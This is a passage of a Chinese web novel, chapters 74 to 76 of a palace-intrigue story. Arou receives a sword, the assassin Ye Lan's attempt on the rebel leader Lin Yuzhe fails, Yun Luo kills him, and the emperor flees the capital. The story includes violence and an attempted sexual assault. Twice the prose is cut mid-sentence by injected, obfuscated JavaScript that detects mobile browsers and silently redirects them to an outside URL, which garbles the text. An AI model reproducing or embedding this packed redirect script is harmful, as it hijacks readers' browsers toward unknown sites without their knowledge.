戚思彦嗔怪地看了她一眼,“这话你在自家说说就算了,出去可别乱讲。” 阿柔连忙卖乖,“二哥,我心里有数。” 司言上前一步,“戚二哥,依你看,与叛军这一战,胜算几何?” 戚思彦扶着下巴,思虑片刻,说道:“这倒不好说。北境边军常年与羌夷族作战,实战经验要比京城守军多许多。但守城一方本就占有优势,若能熬过叛军攻势最猛的几日,等来西南军支援,便有□□成的胜算。但叛军号称兵力二十万,来势汹汹,我只怕……京城撑不到援军来的那一刻。” “林予哲在河北地区募兵,抓了许多无辜百姓服军役。这二十万兵力,应当有不少水分。”司言提醒。 “没有具体的名册,他手底下到底有多少兵力,我们也无从知晓。”戚思彦并未因此放松下来,“但叛军的主力到底是北境边军,即便数量上存疑,也不能因此小觑。” “戚二哥说得是。”司言应道。 阿柔又问:“二哥,你可有想过,如何安置大嫂和乐瑶他们?” “你回来之前,我便已问过乐瑶,她不愿离开长祈,我也不想强求。”戚思彦说道,“至于大嫂,我问她的时候,她有些犹豫,似乎还没做出决断。但我想,她大抵也是不愿走的。” 阿柔思考片刻,说道:“不如,我去找嫂嫂聊一聊?” “也好。你也该多去看看大嫂,省得她一个人在院里烦闷。” “好嘞。” 阿柔转身欲走,戚思彦幽幽地叫住她,不由分说地道:“吃了饭再去。” “哦——” …… 在王府用过饭之后,司言就先行告辞了。 他原本是想多待一阵的,但阿柔既要去寻自家长嫂谈心,他一个外男,没有身份立场跟去。 临走之前,司言对阿柔说道:“明日你来我宅中一趟,我有东西给你。” “什么呀?”阿柔好奇地眨眨眼。 “你来了就知道了。”司言故弄玄虚。 “这么神秘。”阿柔笑了笑,“好啊,明日在医馆做完活就去,你可要请我吃饭。” “这是自然的。”司言捏了捏阿柔的脸颊。 拜别之后,阿柔去了大嫂的院落。 她被侍女引着进了屋内,就见大嫂坐在床头,哄着小侄女睡觉。戚靖暄则是乖顺地坐在桌前,迎着烛火看书。 阿柔压低了音量唤道:“嫂嫂。” 杨昔云见她来,很是欢喜。小侄子戚靖暄同样眨巴着眼睛,奶声奶气地叫道:“小姑姑。” 阿柔走过去,揉了一把小侄子的头发,坐在他身边。 过了好一会儿,小侄女睡熟了,杨昔云将她放在床上,盖好被子,令侍女好生照管,继而来到这对姑侄面前,对戚靖暄道:“看书累了吧,要不要去玩一会儿。” 戚靖暄放下书本,抬头觑着娘亲和小姑的脸色,见二人似乎有事要谈,便利落地站起身来行礼告退。 待人走后,阿柔讶异地道:“半大的孩子,竟如此聪明懂事。” 杨昔云笑道:“还不是因为你哥,成日里吊着一张脸,训起人来,可吓人了。” 阿柔想起自己幼时遭遇过的训斥,瑟缩了一下,“深有体会。” 阿柔看着戚靖暄稳重严肃的背影,感觉在看一个缩小版的大哥。 遣走小侄子后,阿柔开门见山地道:“嫂嫂,是要留在京城,还是离开,你可想好了?” 杨昔云眼眸微垂,“我……实在是做不出决定来。” “嫂嫂若有疑虑,可以讲给我听。”阿柔善解人意地道,“有些顾虑,你不方便同二哥讲,说与我也是一样的,我保证不告诉别人。” 杨昔云露出淡雅的微笑,眸子里染上几分纠结,“当初边境还未开战,赫月六部蠢蠢欲动之时,你大哥他要将我送回京城。我知道我一个妇道人家,帮不上什么忙,留在那里,也只是平添他的顾虑罢了。只是……” 她深吸一口气,“这些时日以来,我一直在想,我是他的结发妻子。为何他在西北边境身受重伤的时候,我不能陪在他的身边呢。” 74. 照夜 阿柔耐心地听杨昔云陈述着。 眼前的妇人宅在深院,远离夫婿已久,似乎有说不完的心里话要倾诉。 “我知道,我一个人的存在可有可无,不管是离开还是留下,对于时局而言,不会有分毫的改变。”杨昔云挣扎着说道,“可是长祈城,是我长大的地方啊,我的爹娘也在这里。我抛下了思辰,难道还要抛下我的家人吗?” “嫂嫂,你不能这样想。什么是拖累?根本没有这么一回事。”阿柔恳切地说道,“更何况,大哥送你回京,本就是担忧你的安危,何来抛下一说?” “我当然知晓这个道理,可又不能不去想。”杨昔云不安地绞着手指,“我总是被人保护,被送到这儿来,又被送到那儿去。可即便是到了安全的地方,我也免不了日日夜夜提心吊胆。” 阿柔看出她没什么安全感,又总是被人护着,大约心里还有些愧疚,安抚说:“不论是走是留,没有人会怪你。” 杨昔云眼眸中闪着水光,声音轻细而温柔,“我时常觉得,嫁给你大哥,是我这辈子最幸运的事情。但也许……我永远也成为不了景西王妃那样的人。” “你本来就不需要成为我阿娘那样的人呀。”阿柔宽慰着说,“不必苛责自己,逼着自己活成别人的模样。” “可我总觉得,和你大哥成亲这么多年,我也没能为他,为了这个家做些什么……” “谁说的?”阿柔不赞成地道,“嫂嫂,你为我大哥添了一双儿女,又将他们两个教养得那样好,合该是大哥谢你呀。” 杨昔云有些局促,“我是孩子的娘,照顾好他们,本是天经地义的。” 阿柔却道:“在嫂嫂看来天经地义的事情,不也有许多人做不到吗?” “这,这哪能一样呢?”杨昔云不好意思地摸了摸脸颊。 “这怎么不能算是你为大哥做的事情呢?”阿柔说道,“照顾小孩又不是什么容易的事情,更不必说妇人生产,就像是往鬼门关走一遭那样凶险。反正我是不敢的……” 杨昔云被她逗笑了,“你这丫头,说什么瞎话,哪个女子成了亲之后是不生孩子的?” “唔,不知道。”阿柔开玩笑地说道,“那就让我来开这个先河吧。” 杨昔云轻轻敲了一下她的脑袋,笑着说:“就会说胡话。” 二人皆笑了起来。 过了一会儿,阿柔微微正色几分,“但是嫂嫂,我方才同你说的那些都是真心话,你不要总觉得自己做得不够好。” “谢谢你,阿柔,你如此说,我心里也好受许多。”杨昔云笑容温婉,“其实我也想过了,若我只是作为世子妃,定会留下来,和所有人一同面对将至的灾祸。可我也是两个孩子的母亲。思辰他还在西北战场浴血拼杀,在他回来之前,我理应保护好我们的孩子。所以阿柔,我会带着靖暄靖蓉暂时离开京城。” 阿柔听到她的决定,既不表示认可,也不表示反对,只是说道:“嫂嫂既做好了决定,便要早些启程才好。叛军已经突破了青函关,指不定哪一日就要兵临城下了。” “阿柔,你不和我一起走吗?”杨昔云担忧地道。 阿柔笑着摇了摇头,“我不走,嫂嫂,我要陪着二哥。” “可是……”杨昔云似乎还想再劝什么,可最终却什么也没说,“阿柔,你和阿彦、乐瑶,都要好好的。” “我会的,嫂嫂。”阿柔展颜而笑,“我离开宛阳城的时候,阿爹曾说,待到这场战事结束,咱们一家人须得好好聚一聚。我想,那一天也不会太远了。” 杨昔云同样笑着点头,“嗯。” …… 得到杨昔云的答复后,戚思彦很快就安排好了她与两个孩子离京南下的事宜。与司言商议过后,交代这一行人往江南故渊门而去。 与大嫂他们拜别之后,阿柔便一如既往地去医馆帮忙,傍晚时分如约去往司言宅邸。 阿柔来的时候,司言正在院子里教导张闻亦武功。 她有好些日子没见过这幅场面了,便坐在旁侧的回廊看了一阵。 张闻亦手中的木剑,早已换成了货真价实的铁剑。他气沉丹田、步伐稳重,一招一式都熟练标致,比之从前,竟是进步了一大截子,连阿柔都有些惊奇。 一套剑法练下来,张闻亦立在一旁,听候司言的指导。 “不错,步伐稳健不少,看来我不在的日子,的确有好好练基本功。”司言毫不吝啬地夸奖道,“我原先以为,十六岁才开始学武,已是太晚。现在看来,天道酬勤,未必不能大器晚成。” 张闻亦大喜过望,“多谢师父夸奖!” 司言提醒道:“你可别得意忘形,若想再往前走,还须……” “张闻亦!”阿柔从回廊那边小跑而来,笑着拍了拍张闻亦的后背,“你小子可以啊,进步这么大,难不成还真是个练武的奇才?” 张闻亦被她这突如其来的动静吓了一跳,“阿,阿柔姐。” 司言无奈地道:“你可别把这小子夸得找不着北了。” “好歹也是我看着一步步过来的,他进步大,我心里也高兴呀。”阿柔说道。 “那你怎么不夸我教得好呢。”司言幽幽地道。 “不是吧司门主,这你都要计较。”阿柔被逗乐了,哄道,“是,司门主是天底下最好的师父。你说是不是,闻亦?” 张闻亦小心谨慎地点了点头,内心:我哪敢插嘴。 司言被取悦到,嘴角上扬几分,“你刚从医馆回来?” “是啊。” “饿不饿?先吃饭吧。” “不要,我要先看你给我准备了个什么惊喜。”阿柔看他。 “我就知道你会这么说。”司言早有预料,应道,“你先在这等着,我马上就来。” 说罢,司言便往屋内去了。 阿柔不免有些奇怪,内心想着:司言总不至于将她晾在院子里才是啊。 但很快,她就明白司言没有请她进屋的原因。 司言提来了一把宝剑。 阿柔睁大了眼,伸出手触摸到剑身上精细的暗纹,“这是……” “阿柔,这是我送你的礼物。”司言郑重说道,“我原想送你更擅使的短刀。但我想,短刀之于阿柔是特殊的,代表了花掌门对你的殷切期望,若我再送,岂不是有所混淆。所以,我就将礼物换成了宝剑,希望你能喜欢。” 阿柔并非追求江湖第一的武痴,对于武器也没有太大的执念。但见那柄剑坚硬修长、光泽亮滑,剑刃锋利、泛着银光,剑身暗纹流动,剑柄雕刻入微,便知这绝对是一把十足的好剑。 她接过那柄剑,避开司言与张闻亦二人,在院中且试几招,越发觉得宝剑趁手起来。 宝剑回鞘,阿柔高兴地小跑回司言面前,“我正巧缺一把趁手的武器。” 谢阳带兵攻打西北大营那晚,阿柔武器在战斗之中脱了手,不知道飞到哪里去了。以至于后面夺取宛阳的行动中,她只能用军队制式的环首刀。 司言听说此事后,默默地记了下来,于是便有了今日的惊喜。 阿柔心中又是欢喜又是感动,上前搂住司言的脖子,踮起脚尖,在他面颊上飞快地亲了一下。 司言:“!” 张闻亦:“!” “你有时给我的东西太多,我都不知道要如何回报你了。” 司言的耳根还有些烫,“我送你礼物,不是图你的回报。” 虽如此说,阿柔却知道,感情双方,若是只有一人一味地付出,定是走不长远的。从她认识司言到现在,自己似乎总是受着司言的帮助与给予。 阿柔在心里记下了司言对她的好,决定往后也要将这份惊喜回馈给对方。 司言说道:“阿柔,这把剑还没有名字,你给它取一个吧。” 阿柔闻言,扶着下巴思索,“名字啊……” 她没有思考太久,不过须臾之后,目光便已清亮明朗。 “往后,此剑名为,‘照夜’。” “照夜……”司言品味着,“光辉耀于黑夜中。嗯,这名字,与你相称。” “也算是继承了师父他老人家的期望吧。” 师父当年的教导仍旧徘徊在心间,阿柔回想起过去时光,神色温柔。 展示过“惊喜”后,司言招呼着阿柔和自家徒弟进屋吃饭。 他们没有再谈缠乱无序的朝局,也没有提起即将袭来的北境叛军,只是随意地说着一些生活中的琐事,或枯燥、或有趣的。 饭桌之上,谁也不愿意扫兴。 恰是因为他们将要面临着九死一生的险境,所以才更要珍惜此时此刻安生地坐在饭桌前的时光。 珍惜当下的每一刻。 …… 青函关失守,叛军长驱直入,直逼京城长祈而来。 叛军行到每一处,都要洗劫掠夺一番,行事作风,竟和土匪没什么两样。百姓之中如有不从者,轻则拳脚相加,重则殴打致死。 百姓们勤勤恳恳地劳作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116738|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚踏实地地干了一辈子,无论如何也想不到,安稳宁静的日子竟如此脆弱,一夕之间便破碎不堪。 昔日繁华的城镇不再热闹,取而代之的是死一般的沉寂,惟余压抑的恸哭之声,久久笼罩于这片土地。 以林予哲为首的叛军统领,占据了最为豪华的屋舍,搜罗来了各式各样的奇珍异宝,又从各处掳掠舞女歌姬。白日行军,夜里便寻欢作乐。 原先,林予哲为了取得圣上的信任,故意将结发妻子与一双儿女送到圣上身边去,奉为人质,从此不再纳妾。就连玩女人,都只能偷偷摸摸的,可是憋屈了好一阵。 当林予哲举旗谋反的消息传入京城后没多久,李钰就将林予哲的妻儿处死泄愤,又将此事昭告天下,为的就是刺激林予哲。 可事实上,林予哲一点都不在乎。他把妻儿送给李钰当人质的时候,就已经预料到了这个结果。 反正事成之后,妻子可以再娶,儿子也能再生,算不上什么大事。 若说愧疚,也许是有一点,但很快便消散在花天酒地的享乐之中了。 林予哲坐在席间,搂着身旁身姿曼妙的女人,却觉得食不知味。 这些个莺莺燕燕,虽然姿色过人,却不合他的心意。那求欢讨巧的模样,真是从一个地方调教出来的,一点新意都没有。胆子也小,说话都不利索。 林予哲心情烦闷,身上散发出来的威压就更加吓人。 被他搂着的女子害怕极了,极力地克制心头那股恐惧的情绪。可林予哲却还是感受到了她压抑的颤抖,一时间气血上头,将她掀翻在地,怒骂道:“扫兴的东西,给我拖下去!” “陛下,饶命啊,饶命啊!” 女子凄厉绝望的哭喊声回荡于宴席之上,渐渐远去,直至再听不见。 在场所有人都知道她将面临怎样的结局,却无一人为她求情。 男人们认为没有求情的必要,女人们则失去了求情的勇气。残酷的暴行就是如此这般,成为了视若无睹的日常。 许是因为见过云熙那般倾国倾城的绝色,林予哲有些瞧不上花楼里的庸脂俗粉。 当他听说熙贵妃薨逝的消息时,内心其实并没有太大的波澜,唯一一件遗憾便是自己还没有尝过她的滋味。算起来,还真是便宜了李钰那个老东西。 但好在,云洛还在他的身边。 云洛虽是男儿之身,长得却和她姐姐一样祸国殃民,是个天生的狐媚子。 当初将云洛养在身边,一是为了挟制云熙,二是为了尝个新鲜。却没想到云洛不仅在那方面讨他喜欢,还为他献上许多夺取天下的计谋。 林予哲能走到这一步,云洛功不可没。 他有时真觉得自己捡了个宝,恨不能将他的小军师藏起来,日日夜夜只能见他一个人。 席间众人见林予哲不说话,不知他心中在想什么,氛围一片沉重。 正当此时,他身边的副将薛重山站了起来,讨好地说道:“陛下,怒气伤身,可不要为了一个不知好歹的贱蹄子动怒啊。” 林予哲轻哼一声,烦躁地屏退了席上的歌女舞姬。 女子们瞬间如蒙大赦,仓皇地离开了。 薛重山小心地觑着林予哲的脸色,“这些美人都不合陛下心意?” “尽是些庸脂俗粉。”林予哲不满地道。 “陛下息怒。这些人您看不上眼,往后不让他们来了就是。”薛重山恭敬地道,“破关之后,微臣一直替您张罗美人。恰逢一人,容貌昳丽又惊才艳艳,是个名动四方的琵琶女,与那些个庸脂俗粉都不同。原想着留在最后献给陛下,不如现在就叫她进来弹个曲儿,也让陛下熄熄火?” “哦?真有你说的那样好?”林予哲不以为意。 “不敢欺瞒陛下。” “那就叫上来吧。” 薛重山领了命,吩咐将琵琶女带上来。 没过一会儿,就见一面容清丽的女子手抱琵琶,温婉大方地行至宴席之中。 林予哲不经意地一扫,面露惊艳之色。 眼前女子确实生得貌美。虽然比不上云熙那般明艳张扬、妖媚动人,却也算得上花容月貌。 更不必说,她身上那份清冷绝尘、大方坦然的气质,简直世所罕见。 林予哲的目光几乎是立刻挂在了琵琶女的身上。 琵琶女眼睫低垂,眸中凝着水汽,若隐若现,显得更加眉目含情、清丽可人。 她朝着主位盈盈一拜,“小女夜兰,为陛下献曲。” 75. 疑梦 宴席之上,夜兰在万众瞩目之间,拨弄起手中的琵琶。 婉转动听的曲调从指尖流泻而出,萦绕在坐席之间。 乐曲前半部分清扬悠然,弦声清脆,宛如清泉流淌而过,如置山间。演奏至高潮部分,曲调陡然变化,乐声逐渐凄厉肃杀起来,声声皆如利刃,带着苍凉与悲切。直至结尾,复又归于宁静。余音绕梁,久久不绝。 一曲奏罢,四座惊艳,拍案叫绝。 在座之人虽然大多是军中糙汉,却也总爱流连于花丛之间。见过的琵琶女有许多,却未有一人拥有如此高超的技艺,如此浓烈的情感。 薛重山不动声色地看向主位上的林予哲,见他神情痴迷,便知这人是献对了。 夜兰弹过曲后,林予哲命她坐在自己身边。 夜兰没有拒绝。 离近了看,林予哲更觉眼前女子姿容过人,仪态落落大方,与先前那些人都不一样。 夜兰主动为他添上酒水。林予哲接过酒杯之时,似有若无地抚过她纤长的玉手,又隐约闻到她身上淡雅如兰的香气,更觉销魂,恨不能立刻就占有她。 酒过三巡,林予哲带着夜兰回到了自己的房间。 二人坐于温软的大床之上。林予哲痴迷地看着她,忍不住伸出手,摸向她的脸颊。 夜兰并未反抗,一双含情美目直勾勾地凝望着他,带着几分眷恋、几分依赖,那眼神勾得林予哲□□中烧、难以自持。 林予哲的手一点一点向下探索,掠过她的每一处。 他捧起夜兰的双手,一边抚摸一边打量,“这样美的一双手,怎么长出茧子了。” “小女自幼在教坊学习器乐,生出茧子,也是难免的。”夜兰答道。 “这样啊……”林予哲摸着她虎口与掌心的茧子,若有所思,“你说你叫什么名字来着?” “夜兰,小女名叫夜兰。” “夜兰,夜兰……”林予哲细细寻味着她的名字,神色之中掩不住痴迷,伸出手就要将她拥入怀中。 “陛下。”夜兰微微躲开,拿起一旁桌案上的酒壶,倒了一杯酒,递给他,“陛下,这是助兴的酒。” 林予哲眯着眼睛看她,“你倒是主动。” 夜兰笑而不语。 “一个人喝无趣。”林予哲也给夜兰倒了一杯,语气不容置疑,“一起喝。” “是。”夜兰应了,举起酒杯一饮而尽。 林予哲喝过酒后,再也难掩心中兽性的欲望,立刻扑了上来。 只是还未实际地发生什么,他便晕了过去。 “陛下,陛下?”夜兰试探地叫着。 那人没有一丝反应。 夜兰眼眸滑过一丝暗芒,神情冷冽肃杀,又带着几分恨意。 她从发间取下簪子来——那支玉簪被磨得锋利无比,已然被制成了可以杀人的利器。 夜兰曾经杀过许多人。 这其中有身居高位的官员、家财万贯的富豪,却也有仗义执言的忠臣、误入时局的无辜百姓。 有善人,有恶人,有该死之人,也有本该长命百岁之人。 不知不觉间,夜兰早已无法洗净自己的身躯,也无法洗净自己的双手。 她本应在无限的挣扎与痛苦中,了结自己的性命,就这样悄无声息地死去。百年之后,无人知晓,当年忠君爱国的萧锐清萧大人,被人构陷至死后,竟还留下了这么一个孽种。 如果不是司言将她找到,带回故渊门的话…… 也许夜兰比司言还要更爱故渊门。 她爱着故渊门山清水秀的景色,爱着门中各色性格的兄弟姐妹,爱着这样自由惬意、不用依靠杀人谋生的生活。 夜兰手握利器,对准林予哲的心脏,高高举起—— 这一击下去,不仅能报她萧家一半的灭门之仇,又能停止这场疯狂的叛乱,让门主的谋划得以顺利进行,以报他多年的收留之恩。 夜兰没有任何犹豫,狠狠地刺了下去! 变故却在一瞬间发生了。 林予哲忽地张开了眼,一只大手狠狠地钳制住了夜兰的手腕! 夜兰悚然一惊,立刻想要收回手,却怎么也挣不开。下一秒,面上传来火辣辣的刺痛,她被林予哲一掌掀翻在地,脸上伤口淌出血来。 林予哲一脚踩在夜兰的心口上。 “啊!”夜兰痛苦地哀嚎出声。 “我用内力压制住了药性。”林予哲居高临下地看她,“你那点伎俩,还瞒不住我。” 夜兰面上和嘴边都是血,却依然轻蔑地看他,“你怎么发现的?” “因为你虎口和掌心的茧子。”林予哲说道,“那不是练琵琶留下的,应当是学刀法留下的吧。” “呵,原来如此。” “你就没有什么要说的吗?”林予哲加重了脚上的力气,“谁派你来的?” “咳咳咳……”夜兰猛烈地咳呛着,“没有人派我来。乱臣贼子,人人得而诛之。” “哼,你说得不错。”林予哲收回脚,转而又俯下身去掐她的脖子,将她整个人拎起来,又重重地摔在床上,“不管你是谁派来的,对我而言都没有任何意义。” “你要做什么?”夜兰警觉地看他。 “当然是做刚才还没做完的事。” 夜兰被他健硕的身躯包裹着,只觉一阵阵恶心,奋力挣扎。 林予哲面露不耐之色,又狠狠地扇了她两个巴掌。 夜兰头晕目眩,耳中嗡鸣作响,视线也模糊起来。 但她内心的声音告诉她:不能任由林予哲摆布!即便是死,也不能任凭他如此羞辱! 夜兰在柳叶门学的大多是于无形中杀人的技巧,自身武力并不强劲,只能凭着一股蛮劲顽强反抗。 拳头挥落而下,落在身上各处。夜兰疼得发抖,却始终未能妥协,持续与他厮打缠斗。 林予哲对她的那点情欲,也早已在此期间消磨殆尽了。 他怒火中烧,死死地掐住夜兰的脖颈。 夜兰试图将他的手掰开,却没能如愿。 她说不出一个字来,只能狠狠地盯着林予哲。 林予哲想要从她面上看到惧怕或是求饶的神态,但夜兰却只是眼含恨意,夹杂着几分愤恨与不甘,全无悔色。 林予哲莫名觉得有些烦闷。 他喜欢看别人跪在他脚下求饶的模样,仿佛他就是凌驾于众生之上,主宰一切的至尊之人。 可眼前这个女人,即便是到了生命的尽头,依然不服输地瞪视着他,甚至还带着嘲讽的微笑。 为什么? 只是一个卑贱的女人,为什么不怕他? 林予哲加大了手上的力气,几乎是疯魔一般地想要看到她因自己而痛苦的样子。 可下一秒,心口传来一阵刺痛。 有人趁他毫无防备之时,在他背后捅了一刀。 林予哲艰难地转身,想要看清捅刀之人的面目。 那人猛地将短刀抽离出来,林予哲立刻不受控制地栽倒下去,口中涌出汩汩鲜血。 他终于看到了那人的模样。 林予哲难以置信地睁大了双眼—— 持刀之人,骨相分明是个男人,却有一双狭长美目,眼含秋波,漫自生情。他肤色苍白,似乎与此时刀光剑影的情境格格不入。眼眸深邃、眉睫浓密、鼻梁高挺,分明是极为艳丽的长相。 他是林予哲养在身边八年之久的小军师——云洛。 是云洛亲手捅了他一刀。 云洛背叛他了? 云洛怎么会背叛他呢??? 明明无论何时,云洛都是一副乖巧软糯、逆来顺受的模样。 可眼前这个冷漠无情、面色肃杀的苍白少年又是谁呢? “父亲。”云洛的声音没有什么波澜,仿佛是在陈述一件平常的事实,“你累了,该休息了。” 林予哲惊恐地睁大了眼,却发不出一个音来。 云洛似是看出他想说什么,神情之中似有怨恨、似有哀伤,“其实,我原本可以留你到攻破长祈那日。可是父亲啊,我的阿姐死在了宫里,你为什么要瞒着我呢?” “啊……啊……”林予哲什么也说不出来。 “你想说,阿姐的死不怪你?”云洛摇了摇头,“是你亲手将阿姐送进那个龙潭虎穴一般的皇宫,是你让她为你做这些危险又见不得人的勾当。如今她死了,我怎么不能怪你呢?” 云洛语气越发危险,“逼死她的朝臣,还有那个狗皇帝,我自会收拾。但在那之前……” 云洛眼中闪过狠厉之色,猛地将短刀插入他的胸口,捅了一刀,又一刀…… “请你先去死吧,父亲。” 林予哲的口中不断涌出鲜血,不甘地瞪大双眼,直到死得不能再死了。 云洛终于停了手,嫌恶地将刀子丢到了一边。 他苍白的面目上沾满了鲜血,红白交错,森然诡异。 “云洛!”外间响起一个惊慌失措的声音。 云洛转身望去,来人是薛重山。 薛重山被眼前之景吓了一跳,扑到林予哲面前,发现他已没了气息,“你怎么不跟我商量一声就动手!” 云洛的目光落在一旁奄奄一息的夜兰身上,“因为这是千载难逢的好机会。” “你,你……唉……”薛重山终究没再说什么,“现如今要如何与军中众将交代?” “很简单。”云洛平静地说道,“就说琵琶女是父亲仇家派来的刺客,给他下了迷药,将他捅死了。至于那刺客……” 云洛来到夜兰身边,俯下身去,“我欣赏你的勇气,所以,我会给你一个痛快的。” 夜兰浑身是伤、满面血污,几乎已看不清原来的模样。 她用尽最后一丝力气,轻蔑一笑,“呵,求之不得。” 云洛发出一声轻轻地叹息,过了一会儿,突然开口问道:“你叫什么名字?” 夜兰沉默片刻,轻声回答:“夜兰。我叫,萧夜兰。‘夜兰秉烛浑疑梦①’的夜兰……” “嗯,夜兰,我会记住的。”云洛骨节分明的手,抚上她苍白的容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128090|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜,眸中似有悲戚,似有不忍,但最终却消散在无尽的深渊之中。 …… 此时此刻,长祈城中人尚且不知叛军之中发生了何等变故。 对于将至的叛军,人人都严防以待。 在此过程中,也发生了一些令人意想不到的事。 比如张闻亦一言不发地留下一封信,说自己要应征募兵,便一个人离开了。 司言发现之后火气上头,寻了好些门路才找到他具体的方位,将他劈头盖脸地训了一顿,“夸你两句,你又飘了是不是?还跟我玩上失踪了?” 令人意外的是,张闻亦这次并没有服软,而是神情坚定地道:“师父,这是我自己的选择。” “选择?你知道这一趟水有多深吗?”司言极力相劝,“叛军近在眼前,也许这两日就要杀到长祈城了。此时募兵,不过是充人数,要你们往最危险的地方冲,你懂吗?” “我知道此行凶险,却也不能心安理得地躲在别人的身后。”张闻亦仍不妥协,“而且,我已经报了名,现在后悔,已是来不及了。” “你还好意思说。你好歹叫我一声师父,做出抉择前,竟也不肯同我商量吗?”司言没好气地道。 “抱歉,师父,因为我知道,你一定会阻止我。”张闻亦并未气馁,而是冲他微微一笑。 司言看着眼前这个身量挺拔、星眉剑目的少年,感到一阵恍惚。 张闻亦再不是三年前那个不经人事、单纯稚嫩的孩子了。 司言张了张口,言语有些梗塞,斟酌再三后说道:“这个决定,当真是你深思熟虑的结果吗?” 张闻亦没有犹豫,真挚地回答:“是的。” 司言叹了口气。 他没有说话,似乎在心里做着艰难的抉择。 过了好一会儿,司言突然没来由地说道:“闻亦,你明年就及冠了。” 张闻亦有些莫名其妙,却依旧回答:“是。” “好。”司言拍了拍他的肩膀,“活着回来,别死了,我给你办加冠礼。” 张闻亦一愣,随即高兴地应道:“是!” 司言没再劝什么,摆了摆手,便离开了。 张闻亦望着他的背影,心中思绪翻涌,久久不能平息。 …… 而另一边,阿柔正欲回府,却见门口停了一辆马车。 她觉得有些奇怪,在原地等了片刻,就见二哥裹了外氅,从府中出来。 阿柔迎上前去,“二哥,这么晚了,你要去哪?” 戚思彦神色有些担忧,“乐瑶午时被叫入宫去了,现在还没回来,我进宫看看。” “这样啊。”阿柔扶着戚思彦上了马车,“我和二哥一起去。” 戚思彦心里隐隐有些不安,倒没劝阻阿柔,兄妹二人便一同乘着马车往宫里去了。 到了宫门处,戚思彦将此行的目的同守卫说了,守卫并未放行,而是说道:“少卿大人,陛下与我们交代过,今夜要留乐瑶公主在宫中过夜,少卿大人先请回吧。” 戚思彦皱起眉头,“既是如此,为何没有人来王府通报呢?” 守卫二人对视一眼,其中一人回答:“少卿大人,陛下如何想,我们不敢妄自揣测。但公主本就是在宫中长大的,您大可放心。” 戚思彦思量片刻,最终还是说道:“既如此,我就不打扰了。” 兄妹二人无功而返。 路上,阿柔宽慰着道:“二哥,你也别太过担心,乐瑶只是回了趟家罢了。再说,她是陛下最宠爱的公主,宫里还能有谁敢欺负她不成?” “我知道。”戚思彦拧眉深思,“只是我想,乐瑶若要在宫中过夜,应当会找人回来跟我说一声才是。” “这我就不知道了,不然二哥明日见了她,问一问?” 戚思彦点了点头,没再说什么。 第二日一早,戚思彦换好朝服,再一次进宫。 可今日早朝,却明显发现了怪异之处。 往正殿去的这一路上都冷冷清清的,并未见到几个同僚。而戚思彦确定今日是正常朝会的日期,宫门守卫也并未阻拦他。 那么其他朝臣去了哪里呢? 叛军将至,难道都懈怠了吗? 戚思彦皱着眉头一路走,待至殿外,发现今日来参与朝会之人不足原来的一半。 众人都发现了人数的异样,不安地讨论起来。 一直等到开朝的时间,仍未有人通知他们进入殿中。 这实在是太奇怪了。 戚思彦心中疑惑,联想到昨夜乐瑶的失踪,心头不安之感更甚。他随手抓住一个太监问:“陛下呢?” 那太监只是摇摇头。 就在众人站在原地不知所措的时候,承王来了。 立刻有人迎上前去问他,“殿下,您可知陛下去了何处吗?” 李晁奚的脸色十分难看,半晌说不出话来,似乎发生了什么令他难以启齿的事情。 他犹疑片刻,终于说道:“父皇他,带着一些皇子宫妃还有朝臣,出城了。” 76. 共议 突如其来的变故打了所有人一个措手不及。 皇上跑了。 带着数位皇子宫妃、朝中重臣一起跑了。 他们丢下了仍然坚守长祈、不肯放弃的忠臣良将,放弃了对于时局无能为力、只能寻求天家庇佑的百姓,丢下了皇室的尊严与脸面。 过去十余年的“盛世”就像一个笑话。 还未至决战时刻,天下之主便已带着亲信丢盔弃甲、弃城而逃。 这简直是天大的笑话! 仍旧留在京城的官员,有一些是像翰林学士杨以清这样不愿离去的傲骨之人,也有一些只是没有得到消息的倒霉蛋。 得知陛下弃城而逃,又有一批官员趁着朝中混乱,也拖家带口地跑了。 只有百姓仍旧被蒙在鼓里,天真地以为自己所拥护的天子会永远与他们同在。 戚思彦在哪里都找不到乐瑶。 后来听宫人说,乐瑶公主也跟着陛下一起走了。 乐瑶曾说,要陪在戚思彦的身边,共同面对长祈城将至的灾祸,死生无悔。戚思彦知道她不是背信弃义之人,她的一身傲骨也不容许她做出落荒而逃的选择。 所以,戚思彦猜想,乐瑶大概是被皇帝用了一些手段强行带走了。 身边一下子少了个喜欢缠着他,同他说话的人,戚思彦难免觉得有些寂寞。但仔细想想,乐瑶离开了这个将要迎来血雨腥风的地方,应当可保性命无恙了。如此,倒也是件幸事。 天子弃城而逃,怀王和废太子也不见了踪影,如今朝中身份最为显赫的人,是承王李晁奚。 李晁奚几乎是立刻做出了一个决定—— 他要自立为天子。 如此混乱的时刻,京中仅剩不多的朝臣都没有什么异议。 长祈城现在需要一个主心骨。 李晁奚正是如此这般,以一种过去从未设想的方式,夺取了这个他谋划多年的位置。说起来,当真是世事无常,又有些荒谬可笑。 这场登基,没有任何仪式庆典,只有一纸昭告天下的文书。 在这之后,李晁奚立刻召戚家兄妹进宫。口谕上并未提及因为何事,但阿柔猜想,大抵是与接下来守城一战相关。 阿柔应诏入宫,就发现司言也在此处。二人视线交汇,司言冲她笑了笑。 当着李晁奚的面,阿柔不能毫无顾忌地去找他说话,因此也只是偷偷地对他眨了眨眼,以示回应。 